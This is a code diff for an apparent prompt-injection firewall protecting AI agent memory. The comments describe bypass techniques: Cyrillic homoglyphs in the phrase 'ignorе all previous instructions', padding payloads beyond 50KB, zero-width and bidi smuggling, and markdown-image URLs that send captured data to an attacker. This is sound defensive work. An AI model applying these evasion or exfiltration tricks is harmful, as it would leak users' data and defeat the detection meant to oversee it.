- /package/dashboard/.next/standalone/dashboard/.next/static/{T0hqc-Le01c8QVY0VrHnu → Ox9scglBehbbCk7DD8-Vn}/_clientMiddlewareManifest.json +0 -0
- /package/dashboard/.next/standalone/dashboard/.next/static/{T0hqc-Le01c8QVY0VrHnu → Ox9scglBehbbCk7DD8-Vn}/_ssgManifest.js +0 -0
|
@@ -357,3 +357,24 @@ export const ALL_CREDENTIAL_PATTERNS = [
|
|
|
357
357
|
...GENERIC_SECRET_PATTERNS,
|
|
358
358
|
...ENV_SECRET_PATTERNS,
|
|
359
359
|
];
|
|
360
|
+
// ── Single Source of Truth — pattern lookup by name (Phase 17 C3) ──
|
|
361
|
+
/** Index of every credential pattern by its `name`, for cross-module reuse. */
|
|
362
|
+
const PATTERNS_BY_NAME = new Map(ALL_CREDENTIAL_PATTERNS.map((p) => [p.name, p]));
|
|
363
|
+
/**
|
|
364
|
+
* Fetch specific credential pattern SOURCES by name from the single source of
|
|
365
|
+
* truth. Lets other detectors (e.g. fragmentation entity extraction) reuse the
|
|
366
|
+
* canonical token regexes instead of maintaining their own divergent copies —
|
|
367
|
+
* WITHOUT pulling in the broad/low-confidence heuristics, so detection scope is
|
|
368
|
+
* unchanged. Throws on an unknown name so a rename can never silently drop a
|
|
369
|
+
* provider.
|
|
370
|
+
*/
|
|
371
|
+
export function getCredentialRegexesByName(names) {
|
|
372
|
+
return names.map((name) => {
|
|
373
|
+
const pattern = PATTERNS_BY_NAME.get(name);
|
|
374
|
+
if (!pattern) {
|
|
375
|
+
throw new Error(`Unknown credential pattern name: "${name}"`);
|
|
376
|
+
}
|
|
377
|
+
// Fresh RegExp so callers don't share lastIndex state with the source.
|
|
378
|
+
return new RegExp(pattern.regex.source, pattern.regex.flags);
|
|
379
|
+
});
|
|
380
|
+
}
|
|
@@ -2,6 +2,13 @@
|
|
|
2
2
|
* SQLite CRUD for custom injection patterns (Pro feature).
|
|
3
3
|
*/
|
|
4
4
|
import { getDatabase } from '../../database/init.js';
|
|
5
|
+
import { createRequire } from 'module';
|
|
6
|
+
// safe-regex2 is require()d lazily (it may not be installed) behind a
|
|
7
|
+
// try/catch fallback. Under real Node ESM a bare require() throws
|
|
8
|
+
// ReferenceError, which the catch would swallow — quietly downgrading the
|
|
9
|
+
// ReDoS check to the weaker heuristic. createRequire() gives us a working
|
|
10
|
+
// require here.
|
|
11
|
+
const require = createRequire(import.meta.url);
|
|
5
12
|
const MAX_PATTERNS = 50;
|
|
6
13
|
const MAX_REGEX_LENGTH = 500;
|
|
7
14
|
/**
|
|
@@ -23,7 +30,7 @@ export function validateRegex(pattern) {
|
|
|
23
30
|
}
|
|
24
31
|
// ReDoS check via safe-regex2
|
|
25
32
|
try {
|
|
26
|
-
//
|
|
33
|
+
// Load the CommonJS safe-regex2 via createRequire (it may not be installed)
|
|
27
34
|
// eslint-disable-next-line @typescript-eslint/no-require-imports
|
|
28
35
|
const safe = require('safe-regex2');
|
|
29
36
|
if (!safe(pattern)) {
|
|
@@ -36,3 +36,21 @@ export declare function deleteFirewallRule(id: number): boolean;
|
|
|
36
36
|
* Get all enabled rules sorted by priority (used by the defence pipeline).
|
|
37
37
|
*/
|
|
38
38
|
export declare function getEnabledFirewallRules(): FirewallRule[];
|
|
39
|
+
/**
|
|
40
|
+
* Evaluate a single firewall rule against candidate text(s), honouring the
|
|
41
|
+
* rule's `condition_type`. This is the single source of truth for rule
|
|
42
|
+
* matching — the defence pipeline calls it for every enabled rule.
|
|
43
|
+
*
|
|
44
|
+
* - `keyword`: case-insensitive LITERAL substring match. Regex metacharacters
|
|
45
|
+
* in the value (`a.b`, `x+y`) are treated literally, not as a pattern.
|
|
46
|
+
* - `domain`: the value is matched as a host/domain. It matches when the value
|
|
47
|
+
* appears as a hostname (or a suffix of one, so `evil.com` matches
|
|
48
|
+
* `api.evil.com`) anywhere in the text, including inside a URL.
|
|
49
|
+
* - `regex` (and any unknown type): compiled as a case-insensitive RegExp.
|
|
50
|
+
* Invalid patterns never match (returns false) rather than throwing.
|
|
51
|
+
*
|
|
52
|
+
* `condition_value` is assumed to have already been vetted by safe-regex2 at
|
|
53
|
+
* creation time for regex rules (see createFirewallRule callers); we still
|
|
54
|
+
* guard compilation here so a malformed stored value can't crash the pipeline.
|
|
55
|
+
*/
|
|
56
|
+
export declare function ruleMatches(rule: Pick<FirewallRule, 'condition_type' | 'condition_value'>, ...texts: Array<string | undefined | null>): boolean;
|
|
@@ -58,3 +58,66 @@ export function getEnabledFirewallRules() {
|
|
|
58
58
|
const db = getDatabase();
|
|
59
59
|
return db.prepare('SELECT * FROM firewall_rules WHERE enabled = 1 ORDER BY priority ASC').all();
|
|
60
60
|
}
|
|
61
|
+
/**
|
|
62
|
+
* Evaluate a single firewall rule against candidate text(s), honouring the
|
|
63
|
+
* rule's `condition_type`. This is the single source of truth for rule
|
|
64
|
+
* matching — the defence pipeline calls it for every enabled rule.
|
|
65
|
+
*
|
|
66
|
+
* - `keyword`: case-insensitive LITERAL substring match. Regex metacharacters
|
|
67
|
+
* in the value (`a.b`, `x+y`) are treated literally, not as a pattern.
|
|
68
|
+
* - `domain`: the value is matched as a host/domain. It matches when the value
|
|
69
|
+
* appears as a hostname (or a suffix of one, so `evil.com` matches
|
|
70
|
+
* `api.evil.com`) anywhere in the text, including inside a URL.
|
|
71
|
+
* - `regex` (and any unknown type): compiled as a case-insensitive RegExp.
|
|
72
|
+
* Invalid patterns never match (returns false) rather than throwing.
|
|
73
|
+
*
|
|
74
|
+
* `condition_value` is assumed to have already been vetted by safe-regex2 at
|
|
75
|
+
* creation time for regex rules (see createFirewallRule callers); we still
|
|
76
|
+
* guard compilation here so a malformed stored value can't crash the pipeline.
|
|
77
|
+
*/
|
|
78
|
+
export function ruleMatches(rule, ...texts) {
|
|
79
|
+
const value = rule.condition_value;
|
|
80
|
+
if (!value)
|
|
81
|
+
return false;
|
|
82
|
+
const candidates = texts.filter((t) => typeof t === 'string' && t.length > 0);
|
|
83
|
+
if (candidates.length === 0)
|
|
84
|
+
return false;
|
|
85
|
+
const type = (rule.condition_type || 'regex').toLowerCase();
|
|
86
|
+
if (type === 'keyword') {
|
|
87
|
+
const needle = value.toLowerCase();
|
|
88
|
+
return candidates.some((text) => text.toLowerCase().includes(needle));
|
|
89
|
+
}
|
|
90
|
+
if (type === 'domain') {
|
|
91
|
+
return candidates.some((text) => textContainsDomain(text, value));
|
|
92
|
+
}
|
|
93
|
+
// regex (default): compile case-insensitively; a bad pattern never matches.
|
|
94
|
+
let regex;
|
|
95
|
+
try {
|
|
96
|
+
regex = new RegExp(value, 'i');
|
|
97
|
+
}
|
|
98
|
+
catch {
|
|
99
|
+
return false;
|
|
100
|
+
}
|
|
101
|
+
return candidates.some((text) => regex.test(text));
|
|
102
|
+
}
|
|
103
|
+
/**
|
|
104
|
+
* True when `domain` appears as a host (or a parent suffix of a host) in the
|
|
105
|
+
* given text. We extract hostname-shaped tokens from the text and compare each
|
|
106
|
+
* against the configured domain with proper label-boundary semantics:
|
|
107
|
+
* - exact match: `evil.com` matches host `evil.com`
|
|
108
|
+
* - subdomain match: `evil.com` matches host `api.evil.com`
|
|
109
|
+
* - NOT a partial-label match: `evil.com` does NOT match `notevil.com`
|
|
110
|
+
*/
|
|
111
|
+
function textContainsDomain(text, domain) {
|
|
112
|
+
const target = domain.trim().toLowerCase().replace(/^\.+|\.+$/g, '');
|
|
113
|
+
if (!target)
|
|
114
|
+
return false;
|
|
115
|
+
// Pull out hostname-shaped tokens (URL hosts, bare hosts, emails-after-@).
|
|
116
|
+
// A host is dot-separated labels of [a-z0-9-], at least two labels long, or
|
|
117
|
+
// the exact target itself.
|
|
118
|
+
const hostRegex = /[a-z0-9](?:[a-z0-9-]*[a-z0-9])?(?:\.[a-z0-9](?:[a-z0-9-]*[a-z0-9])?)+/gi;
|
|
119
|
+
const matches = text.toLowerCase().match(hostRegex);
|
|
120
|
+
if (!matches)
|
|
121
|
+
return false;
|
|
122
|
+
return matches.some((host) => host === target || host.endsWith(`.${target}`));
|
|
123
|
+
}
|
|
@@ -0,0 +1,30 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Unicode Confusable Folding
|
|
3
|
+
*
|
|
4
|
+
* Cross-script homoglyph attacks swap a single Latin letter for an
|
|
5
|
+
* identical-looking glyph from another script (e.g. Cyrillic `е` U+0435 for
|
|
6
|
+
* Latin `e`), so `ignorе all previous instructions` reads as English but never
|
|
7
|
+
* matches an ASCII regex. `foldConfusables` normalises such text back to its
|
|
8
|
+
* Latin skeleton so the instruction detector can match the real intent.
|
|
9
|
+
*
|
|
10
|
+
* Two stages:
|
|
11
|
+
* 1. NFKC normalisation — folds fullwidth forms, many mathematical
|
|
12
|
+
* alphanumerics, ligatures, etc. down to their ASCII compatibility forms.
|
|
13
|
+
* 2. A curated cross-script lookalike table — the high-frequency Cyrillic and
|
|
14
|
+
* Greek glyphs that NFKC does NOT touch (NFKC preserves script identity for
|
|
15
|
+
* these). This is deliberately NOT exhaustive: it targets the glyphs that
|
|
16
|
+
* actually show up in homoglyph injection attacks, not the full Unicode
|
|
17
|
+
* confusables database.
|
|
18
|
+
*/
|
|
19
|
+
/**
|
|
20
|
+
* Fold a string to its Latin skeleton: NFKC first, then map curated
|
|
21
|
+
* cross-script confusables to their Latin lookalikes.
|
|
22
|
+
*/
|
|
23
|
+
export declare function foldConfusables(s: string): string;
|
|
24
|
+
/**
|
|
25
|
+
* True when a cross-script confusable substitution changed something beyond
|
|
26
|
+
* what plain NFKC normalisation does — i.e. one of the curated Cyrillic/Greek
|
|
27
|
+
* glyphs was present and got folded to a different Latin letter. Genuine
|
|
28
|
+
* NFKC-only changes (fullwidth, ligatures) do NOT count.
|
|
29
|
+
*/
|
|
30
|
+
export declare function hasConfusables(s: string): boolean;
|
|
@@ -0,0 +1,87 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Unicode Confusable Folding
|
|
3
|
+
*
|
|
4
|
+
* Cross-script homoglyph attacks swap a single Latin letter for an
|
|
5
|
+
* identical-looking glyph from another script (e.g. Cyrillic `е` U+0435 for
|
|
6
|
+
* Latin `e`), so `ignorе all previous instructions` reads as English but never
|
|
7
|
+
* matches an ASCII regex. `foldConfusables` normalises such text back to its
|
|
8
|
+
* Latin skeleton so the instruction detector can match the real intent.
|
|
9
|
+
*
|
|
10
|
+
* Two stages:
|
|
11
|
+
* 1. NFKC normalisation — folds fullwidth forms, many mathematical
|
|
12
|
+
* alphanumerics, ligatures, etc. down to their ASCII compatibility forms.
|
|
13
|
+
* 2. A curated cross-script lookalike table — the high-frequency Cyrillic and
|
|
14
|
+
* Greek glyphs that NFKC does NOT touch (NFKC preserves script identity for
|
|
15
|
+
* these). This is deliberately NOT exhaustive: it targets the glyphs that
|
|
16
|
+
* actually show up in homoglyph injection attacks, not the full Unicode
|
|
17
|
+
* confusables database.
|
|
18
|
+
*/
|
|
19
|
+
// Cyrillic → Latin. The lowercase codepoints here are the same set used by
|
|
20
|
+
// CYRILLIC_HOMOGLYPHS in encoding-detector.ts (the run that already drives the
|
|
21
|
+
// homoglyph flag); the uppercase set extends it for capitalised attack text.
|
|
22
|
+
const CYRILLIC_TO_LATIN = {
|
|
23
|
+
'а': 'a', // а
|
|
24
|
+
'е': 'e', // е
|
|
25
|
+
'о': 'o', // о
|
|
26
|
+
'р': 'p', // р
|
|
27
|
+
'с': 'c', // с
|
|
28
|
+
'у': 'y', // у
|
|
29
|
+
'х': 'x', // х
|
|
30
|
+
'А': 'A', // А
|
|
31
|
+
'В': 'B', // В
|
|
32
|
+
'Е': 'E', // Е
|
|
33
|
+
'К': 'K', // К
|
|
34
|
+
'М': 'M', // М
|
|
35
|
+
'Н': 'H', // Н
|
|
36
|
+
'О': 'O', // О
|
|
37
|
+
'Р': 'P', // Р
|
|
38
|
+
'С': 'C', // С
|
|
39
|
+
'Т': 'T', // Т
|
|
40
|
+
'У': 'Y', // У
|
|
41
|
+
'Х': 'X', // Х
|
|
42
|
+
};
|
|
43
|
+
// Greek → Latin. Only the high-frequency lookalikes; lowercase Greek mostly
|
|
44
|
+
// does not resemble Latin (α/β/γ are distinct) so we cover lowercase omicron
|
|
45
|
+
// plus the capital letters that are visually identical to Latin capitals.
|
|
46
|
+
const GREEK_TO_LATIN = {
|
|
47
|
+
'ο': 'o', // ο lowercase omicron
|
|
48
|
+
'Α': 'A', // Α
|
|
49
|
+
'Β': 'B', // Β
|
|
50
|
+
'Ε': 'E', // Ε
|
|
51
|
+
'Ζ': 'Z', // Ζ
|
|
52
|
+
'Η': 'H', // Η
|
|
53
|
+
'Ι': 'I', // Ι
|
|
54
|
+
'Κ': 'K', // Κ
|
|
55
|
+
'Μ': 'M', // Μ
|
|
56
|
+
'Ν': 'N', // Ν
|
|
57
|
+
'Ο': 'O', // Ο
|
|
58
|
+
'Ρ': 'P', // Ρ
|
|
59
|
+
'Τ': 'T', // Τ
|
|
60
|
+
'Υ': 'Y', // Υ
|
|
61
|
+
'Χ': 'X', // Χ
|
|
62
|
+
};
|
|
63
|
+
const CONFUSABLE_MAP = {
|
|
64
|
+
...CYRILLIC_TO_LATIN,
|
|
65
|
+
...GREEK_TO_LATIN,
|
|
66
|
+
};
|
|
67
|
+
/**
|
|
68
|
+
* Fold a string to its Latin skeleton: NFKC first, then map curated
|
|
69
|
+
* cross-script confusables to their Latin lookalikes.
|
|
70
|
+
*/
|
|
71
|
+
export function foldConfusables(s) {
|
|
72
|
+
const normalised = s.normalize('NFKC');
|
|
73
|
+
let out = '';
|
|
74
|
+
for (const ch of normalised) {
|
|
75
|
+
out += CONFUSABLE_MAP[ch] ?? ch;
|
|
76
|
+
}
|
|
77
|
+
return out;
|
|
78
|
+
}
|
|
79
|
+
/**
|
|
80
|
+
* True when a cross-script confusable substitution changed something beyond
|
|
81
|
+
* what plain NFKC normalisation does — i.e. one of the curated Cyrillic/Greek
|
|
82
|
+
* glyphs was present and got folded to a different Latin letter. Genuine
|
|
83
|
+
* NFKC-only changes (fullwidth, ligatures) do NOT count.
|
|
84
|
+
*/
|
|
85
|
+
export function hasConfusables(s) {
|
|
86
|
+
return foldConfusables(s) !== s.normalize('NFKC');
|
|
87
|
+
}
|
|
@@ -4,18 +4,22 @@
|
|
|
4
4
|
* Detects obfuscation attempts including base64, unicode tricks,
|
|
5
5
|
* hex encoding, suspicious URL encoding, and invisible characters.
|
|
6
6
|
*/
|
|
7
|
+
import { hasConfusables } from './confusables.js';
|
|
7
8
|
// Base64: at least 20 chars of base64 alphabet, optionally padded
|
|
8
9
|
const BASE64_PATTERN = /(?:[A-Za-z0-9+/]{4}){5,}(?:[A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=)?/g;
|
|
9
10
|
// Hex sequences
|
|
10
11
|
const HEX_PATTERN = /(?:0x[0-9a-fA-F]{2}\s*){4,}|(?:\\x[0-9a-fA-F]{2}){4,}|\b[0-9a-fA-F]{20,}\b/g;
|
|
11
12
|
// Suspicious URL encoding (4+ encoded chars in sequence)
|
|
12
13
|
const URL_ENCODING_PATTERN = /(?:%[0-9A-Fa-f]{2}){4,}/g;
|
|
13
|
-
// Zero-width characters
|
|
14
|
-
|
|
15
|
-
//
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
14
|
+
// Zero-width characters.
|
|
15
|
+
// NOTE: presence check only (used with `.test()`), so NO `/g` flag \u2014 a stateful
|
|
16
|
+
// `/g` regex advances `lastIndex` across `.test()` calls and flip-flops between
|
|
17
|
+
// true/false for identical content, silently missing zero-width smuggling.
|
|
18
|
+
const ZERO_WIDTH_PATTERN = /[\u200B\u200C\u200D\uFEFF]/;
|
|
19
|
+
// RTL override \u2014 presence check only, NO `/g` (same stateful-test hazard).
|
|
20
|
+
const RTL_OVERRIDE_PATTERN = /\u202E/;
|
|
21
|
+
// ASCII Latin letters — used by the mixed-script homoglyph signal below.
|
|
22
|
+
const ASCII_LATIN = /[A-Za-z]/;
|
|
19
23
|
function tryBase64DecodeSingle(str) {
|
|
20
24
|
try {
|
|
21
25
|
const decoded = Buffer.from(str, 'base64').toString('utf-8');
|
|
@@ -121,9 +125,19 @@ export function detectEncoding(content) {
|
|
|
121
125
|
if (RTL_OVERRIDE_PATTERN.test(content)) {
|
|
122
126
|
encodingTypes.push('rtl_override');
|
|
123
127
|
}
|
|
124
|
-
// Unicode homoglyphs
|
|
125
|
-
|
|
126
|
-
|
|
128
|
+
// Unicode homoglyphs — mixed-script signal.
|
|
129
|
+
//
|
|
130
|
+
// The old rule ("≥2 Cyrillic confusables") missed a single substitution
|
|
131
|
+
// (`ignorе` with one Cyrillic е reads as Latin and slipped through). The new
|
|
132
|
+
// rule flags 'unicode_homoglyph' when BOTH are true:
|
|
133
|
+
// 1. a curated cross-script confusable is present (hasConfusables — folding
|
|
134
|
+
// changed something beyond plain NFKC), AND
|
|
135
|
+
// 2. the content also contains an ASCII Latin letter.
|
|
136
|
+
// That combination means a Latin word has a foreign lookalike hidden in it.
|
|
137
|
+
// A wholly-Cyrillic Russian sentence has NO ASCII Latin letters, so it does
|
|
138
|
+
// NOT flag — genuine non-Latin text is left alone. Covers the Cyrillic AND
|
|
139
|
+
// Greek glyphs in the confusables map (a single substitution is enough).
|
|
140
|
+
if (hasConfusables(content) && ASCII_LATIN.test(content)) {
|
|
127
141
|
encodingTypes.push('unicode_homoglyph');
|
|
128
142
|
}
|
|
129
143
|
return {
|
|
@@ -7,14 +7,24 @@
|
|
|
7
7
|
* firewall analysis result.
|
|
8
8
|
*/
|
|
9
9
|
import type { FirewallAnalysis, DefenceSource, DefenceConfig } from '../types.js';
|
|
10
|
+
import type { SanitisationCategory } from '../input-sanitisation/index.js';
|
|
10
11
|
export { detectInstructions } from './instruction-detector.js';
|
|
11
12
|
export type { InstructionDetectionResult } from './instruction-detector.js';
|
|
12
13
|
export { detectPrivilegeEscalation } from './privilege-detector.js';
|
|
13
14
|
export type { PrivilegeDetectionResult } from './privilege-detector.js';
|
|
14
15
|
export { detectEncoding } from './encoding-detector.js';
|
|
15
16
|
export type { EncodingDetectionResult } from './encoding-detector.js';
|
|
17
|
+
export { detectMarkdownImageExfil } from './markdown-image-detector.js';
|
|
18
|
+
export type { MarkdownImageExfilResult } from './markdown-image-detector.js';
|
|
16
19
|
export { scoreAnomaly } from './anomaly-scorer.js';
|
|
17
20
|
/**
|
|
18
21
|
* Run the full firewall analysis pipeline on memory content.
|
|
19
22
|
*/
|
|
20
|
-
export declare function analyzeFirewall(content: string, title: string, source: DefenceSource, trustScore: number, config: DefenceConfig
|
|
23
|
+
export declare function analyzeFirewall(content: string, title: string, source: DefenceSource, trustScore: number, config: DefenceConfig,
|
|
24
|
+
/**
|
|
25
|
+
* Categories stripped by Layer 1 sanitisation BEFORE this content arrived.
|
|
26
|
+
* The sanitiser removes zero-width/bidi bytes, so the encoding detector below
|
|
27
|
+
* never sees them — feeding the strip signal back in lets the verdict reflect
|
|
28
|
+
* the smuggling attempt instead of silently allowing the cleaned content.
|
|
29
|
+
*/
|
|
30
|
+
preSanitisationStrips?: SanitisationCategory[]): FirewallAnalysis;
|
|
@@ -9,6 +9,7 @@
|
|
|
9
9
|
import { detectInstructions } from './instruction-detector.js';
|
|
10
10
|
import { detectPrivilegeEscalation } from './privilege-detector.js';
|
|
11
11
|
import { detectEncoding } from './encoding-detector.js';
|
|
12
|
+
import { detectMarkdownImageExfil } from './markdown-image-detector.js';
|
|
12
13
|
import { scoreAnomaly } from './anomaly-scorer.js';
|
|
13
14
|
import { detectSkillThreats } from '../skill-scanner/patterns.js';
|
|
14
15
|
import { scanForCredentials } from '../credential-leak/index.js';
|
|
@@ -16,15 +17,39 @@ import { scanForCredentials } from '../credential-leak/index.js';
|
|
|
16
17
|
export { detectInstructions } from './instruction-detector.js';
|
|
17
18
|
export { detectPrivilegeEscalation } from './privilege-detector.js';
|
|
18
19
|
export { detectEncoding } from './encoding-detector.js';
|
|
20
|
+
export { detectMarkdownImageExfil } from './markdown-image-detector.js';
|
|
19
21
|
export { scoreAnomaly } from './anomaly-scorer.js';
|
|
20
22
|
/**
|
|
21
23
|
* Run the full firewall analysis pipeline on memory content.
|
|
22
24
|
*/
|
|
23
|
-
export function analyzeFirewall(content, title, source, trustScore, config
|
|
25
|
+
export function analyzeFirewall(content, title, source, trustScore, config,
|
|
26
|
+
/**
|
|
27
|
+
* Categories stripped by Layer 1 sanitisation BEFORE this content arrived.
|
|
28
|
+
* The sanitiser removes zero-width/bidi bytes, so the encoding detector below
|
|
29
|
+
* never sees them — feeding the strip signal back in lets the verdict reflect
|
|
30
|
+
* the smuggling attempt instead of silently allowing the cleaned content.
|
|
31
|
+
*/
|
|
32
|
+
preSanitisationStrips) {
|
|
24
33
|
const instructions = detectInstructions(content);
|
|
25
34
|
const privilege = detectPrivilegeEscalation(content);
|
|
26
35
|
const encoding = detectEncoding(content);
|
|
36
|
+
const markdownImage = detectMarkdownImageExfil(content);
|
|
27
37
|
const anomaly = scoreAnomaly(content, title);
|
|
38
|
+
// Fold pre-sanitisation zero-width/bidi strips into the encoding signal so
|
|
39
|
+
// determineResult escalates (quarantine in balanced, block in strict). We map
|
|
40
|
+
// them onto the SAME encodingTypes the detector emits ('zero_width_chars' /
|
|
41
|
+
// 'rtl_override') so the existing "suspicious encoding → quarantine" rule and
|
|
42
|
+
// the strict-mode detection count both fire without any extra branches.
|
|
43
|
+
if (preSanitisationStrips?.includes('zero_width') &&
|
|
44
|
+
!encoding.encodingTypes.includes('zero_width_chars')) {
|
|
45
|
+
encoding.encodingTypes.push('zero_width_chars');
|
|
46
|
+
encoding.detected = true;
|
|
47
|
+
}
|
|
48
|
+
if (preSanitisationStrips?.includes('bidi_override') &&
|
|
49
|
+
!encoding.encodingTypes.includes('rtl_override')) {
|
|
50
|
+
encoding.encodingTypes.push('rtl_override');
|
|
51
|
+
encoding.detected = true;
|
|
52
|
+
}
|
|
28
53
|
// Skill scanner patterns — catches tool injection, scope escalation,
|
|
29
54
|
// data exfiltration, persistence, supply chain, agent manipulation,
|
|
30
55
|
// and stealth instructions in memory content (not just skill files).
|
|
@@ -53,6 +78,14 @@ export function analyzeFirewall(content, title, source, trustScore, config) {
|
|
|
53
78
|
threatIndicators.push('encoding_obfuscation');
|
|
54
79
|
blockedPatterns.push(...encoding.encodingTypes);
|
|
55
80
|
}
|
|
81
|
+
// Markdown-image exfiltration — a rendered image URL that smuggles data to an
|
|
82
|
+
// attacker. Reported as external_url so determineResult treats it the same as
|
|
83
|
+
// any other off-host link: low-severity alone, but it escalates the verdict
|
|
84
|
+
// when it co-occurs with another detection (encoding combined with >=2, etc.).
|
|
85
|
+
if (markdownImage.detected && !threatIndicators.includes('external_url')) {
|
|
86
|
+
threatIndicators.push('external_url');
|
|
87
|
+
blockedPatterns.push('markdown_image_exfil');
|
|
88
|
+
}
|
|
56
89
|
// Skill-level threats in memory content (tool injection, scope escalation, etc.)
|
|
57
90
|
if (skillThreats.detected) {
|
|
58
91
|
for (const threat of skillThreats.threats) {
|
|
@@ -3,6 +3,8 @@
|
|
|
3
3
|
*
|
|
4
4
|
* Detects prompt injection and hidden instruction patterns in memory content.
|
|
5
5
|
*/
|
|
6
|
+
import { foldConfusables } from './confusables.js';
|
|
7
|
+
import { someWindow } from '../scan-windows.js';
|
|
6
8
|
const PATTERN_GROUPS = [
|
|
7
9
|
{
|
|
8
10
|
name: 'system_prompt_marker',
|
|
@@ -141,23 +143,32 @@ const PATTERN_GROUPS = [
|
|
|
141
143
|
],
|
|
142
144
|
},
|
|
143
145
|
];
|
|
144
|
-
// Maximum content length to scan (prevents ReDOS on very long inputs)
|
|
145
|
-
const MAX_SCAN_LENGTH = 50000;
|
|
146
146
|
/**
|
|
147
|
-
* Safely test a regex against content
|
|
147
|
+
* Safely test a regex against content.
|
|
148
|
+
*
|
|
149
|
+
* Scans the WHOLE input as overlapping windows (<= SCAN_WINDOW_SIZE chars each)
|
|
150
|
+
* rather than truncating to the first 50KB. Each window keeps the per-regex work
|
|
151
|
+
* bounded (preserving the ReDoS guarantee the old truncation gave us) while the
|
|
152
|
+
* overlap means a payload buried past 50KB of filler is still tested — closing
|
|
153
|
+
* the >50KB padding bypass.
|
|
148
154
|
*/
|
|
149
155
|
function safeRegexTest(pattern, text) {
|
|
150
|
-
|
|
151
|
-
const truncated = text.length > MAX_SCAN_LENGTH ? text.slice(0, MAX_SCAN_LENGTH) : text;
|
|
152
|
-
return pattern.test(truncated);
|
|
156
|
+
return someWindow(text, (window) => pattern.test(window));
|
|
153
157
|
}
|
|
154
158
|
export function detectInstructions(content) {
|
|
155
159
|
const matchedPatterns = [];
|
|
156
160
|
let totalWeight = 0;
|
|
157
161
|
let maxWeight = 0;
|
|
162
|
+
// Fold cross-script confusables (Cyrillic/Greek homoglyphs + NFKC forms) to
|
|
163
|
+
// their Latin skeleton so a single-glyph substitution like `ignorе` (Cyrillic
|
|
164
|
+
// е) still matches the ASCII patterns. We test the original first, then the
|
|
165
|
+
// folded copy only if folding changed something — testing both means we never
|
|
166
|
+
// *lose* a match that the original would have caught.
|
|
167
|
+
const folded = foldConfusables(content);
|
|
168
|
+
const variants = folded !== content ? [content, folded] : [content];
|
|
158
169
|
for (const group of PATTERN_GROUPS) {
|
|
159
170
|
for (const pattern of group.patterns) {
|
|
160
|
-
if (safeRegexTest(pattern,
|
|
171
|
+
if (variants.some((variant) => safeRegexTest(pattern, variant))) {
|
|
161
172
|
matchedPatterns.push(group.name);
|
|
162
173
|
totalWeight += group.weight;
|
|
163
174
|
if (group.weight > maxWeight) {
|
|
@@ -0,0 +1,34 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Markdown-Image Exfiltration Detector
|
|
3
|
+
*
|
|
4
|
+
* A classic tool-output / agent-memory exfiltration vector is a markdown image
|
|
5
|
+
* whose URL silently smuggles data to an attacker the moment a client renders
|
|
6
|
+
* it (no click required):
|
|
7
|
+
*
|
|
8
|
+
* 
|
|
9
|
+
* 
|
|
10
|
+
*
|
|
11
|
+
* This detector flags markdown image syntax `` where the URL is an
|
|
12
|
+
* http(s) link that LOOKS like a data-exfiltration sink. It is deliberately
|
|
13
|
+
* conservative — a plain `` must NOT trip
|
|
14
|
+
* it — so a URL only flags when one of these holds:
|
|
15
|
+
*
|
|
16
|
+
* 1. it carries a query string whose value(s) look like smuggled data:
|
|
17
|
+
* long (>= EXFIL_VALUE_MIN_LEN chars) and/or base64-ish/percent-encoded; OR
|
|
18
|
+
* 2. it contains an unresolved template placeholder (`${...}` / `{{...}}`),
|
|
19
|
+
* which only appears when an injection is trying to interpolate captured
|
|
20
|
+
* data into the URL.
|
|
21
|
+
*
|
|
22
|
+
* Pure presence of a query string is NOT enough (analytics/CDN links routinely
|
|
23
|
+
* have `?v=2&w=400`); the value has to look like a payload. This keeps the false
|
|
24
|
+
* positive rate low while catching the real exfil shape.
|
|
25
|
+
*/
|
|
26
|
+
export interface MarkdownImageExfilResult {
|
|
27
|
+
detected: boolean;
|
|
28
|
+
/** The offending image URLs (capped), for reporting. */
|
|
29
|
+
urls: string[];
|
|
30
|
+
}
|
|
31
|
+
/**
|
|
32
|
+
* Scan content for markdown-image exfiltration links.
|
|
33
|
+
*/
|
|
34
|
+
export declare function detectMarkdownImageExfil(content: string): MarkdownImageExfilResult;
|
|
@@ -0,0 +1,83 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Markdown-Image Exfiltration Detector
|
|
3
|
+
*
|
|
4
|
+
* A classic tool-output / agent-memory exfiltration vector is a markdown image
|
|
5
|
+
* whose URL silently smuggles data to an attacker the moment a client renders
|
|
6
|
+
* it (no click required):
|
|
7
|
+
*
|
|
8
|
+
* 
|
|
9
|
+
* 
|
|
10
|
+
*
|
|
11
|
+
* This detector flags markdown image syntax `` where the URL is an
|
|
12
|
+
* http(s) link that LOOKS like a data-exfiltration sink. It is deliberately
|
|
13
|
+
* conservative — a plain `` must NOT trip
|
|
14
|
+
* it — so a URL only flags when one of these holds:
|
|
15
|
+
*
|
|
16
|
+
* 1. it carries a query string whose value(s) look like smuggled data:
|
|
17
|
+
* long (>= EXFIL_VALUE_MIN_LEN chars) and/or base64-ish/percent-encoded; OR
|
|
18
|
+
* 2. it contains an unresolved template placeholder (`${...}` / `{{...}}`),
|
|
19
|
+
* which only appears when an injection is trying to interpolate captured
|
|
20
|
+
* data into the URL.
|
|
21
|
+
*
|
|
22
|
+
* Pure presence of a query string is NOT enough (analytics/CDN links routinely
|
|
23
|
+
* have `?v=2&w=400`); the value has to look like a payload. This keeps the false
|
|
24
|
+
* positive rate low while catching the real exfil shape.
|
|
25
|
+
*/
|
|
26
|
+
// Markdown image: . URL captured up to the closing paren / whitespace.
|
|
27
|
+
// Length-capped on alt + URL to keep the regex ReDoS-safe.
|
|
28
|
+
const MARKDOWN_IMAGE_PATTERN = /!\[[^\]]{0,200}\]\((https?:\/\/[^)\s]{1,2000})\)/gi;
|
|
29
|
+
// A query value that looks like smuggled data: long opaque token, base64-ish,
|
|
30
|
+
// or percent-encoded run.
|
|
31
|
+
const EXFIL_VALUE_MIN_LEN = 24;
|
|
32
|
+
const BASEISH_VALUE = /^[A-Za-z0-9+/_=-]{16,}$/;
|
|
33
|
+
const PERCENT_RUN = /(?:%[0-9A-Fa-f]{2}){3,}/;
|
|
34
|
+
// Unresolved template interpolation in a URL — never legitimate in a static link.
|
|
35
|
+
const TEMPLATE_PLACEHOLDER = /\$\{[^}]*\}|\{\{[^}]*\}\}/;
|
|
36
|
+
/**
|
|
37
|
+
* True if an image URL's query string carries values that look like exfiltrated
|
|
38
|
+
* data, or if the URL contains an unresolved template placeholder.
|
|
39
|
+
*/
|
|
40
|
+
